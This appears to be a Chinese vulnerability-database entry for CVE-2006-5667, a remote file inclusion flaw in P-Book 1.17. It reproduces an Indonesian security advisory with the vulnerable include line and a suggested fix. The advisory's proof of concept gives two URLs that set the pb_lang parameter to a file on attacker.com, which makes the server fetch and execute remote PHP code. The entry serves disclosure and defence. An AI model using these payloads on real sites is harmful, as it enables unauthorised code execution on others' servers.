P-Book 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111437 漏洞类型 未知
发布时间 2006-10-31 更新时间 2006-11-02
CVE编号 CVE-2006-5667 CNNVD-ID CNNVD-200611-022
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2691
https://www.securityfocus.com/bid/85566
https://cxsecurity.com/issue/WLB-2006110014
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-022
|漏洞详情
P-Book中存在多个PHP远程文件包含漏洞,远程攻击者可以通过传递给(1)admin.php和(2)pbook.php的pb_lang参数内的URL来执行任意PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_56$2006

------------------------------------------------------------------------------
[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: October, 18th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: P-Book
version		: 1.17
URL		: http://www.PPoPn.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------

Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-31]
|受影响的产品
P-Book P-Book 1.17
|参考资料

来源:XF
名称:pbook-pblang-file-include(29651)
链接:http://xforce.iss.net/xforce/xfdb/29651
来源:BUGTRAQ
名称:20061018[ECHO_ADV_46$2006]P-Book<=1.17(pb_lang)RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/449106/100/200/threaded
来源:MILW0RM
名称:2691
链接:http://www.milw0rm.com/exploits/2691
来源:VUPEN
名称:ADV-2006-4291
链接:http://www.frsirt.com/english/advisories/2006/4291
来源:SECUNIA
名称:22608
链接:http://secunia.com/advisories/22608
来源:SREASON
名称:1811
链接:http://securityreason.com/securityalert/1811
来源:MILW0RM
名称:2691
链接:http://milw0rm.com/exploits/2691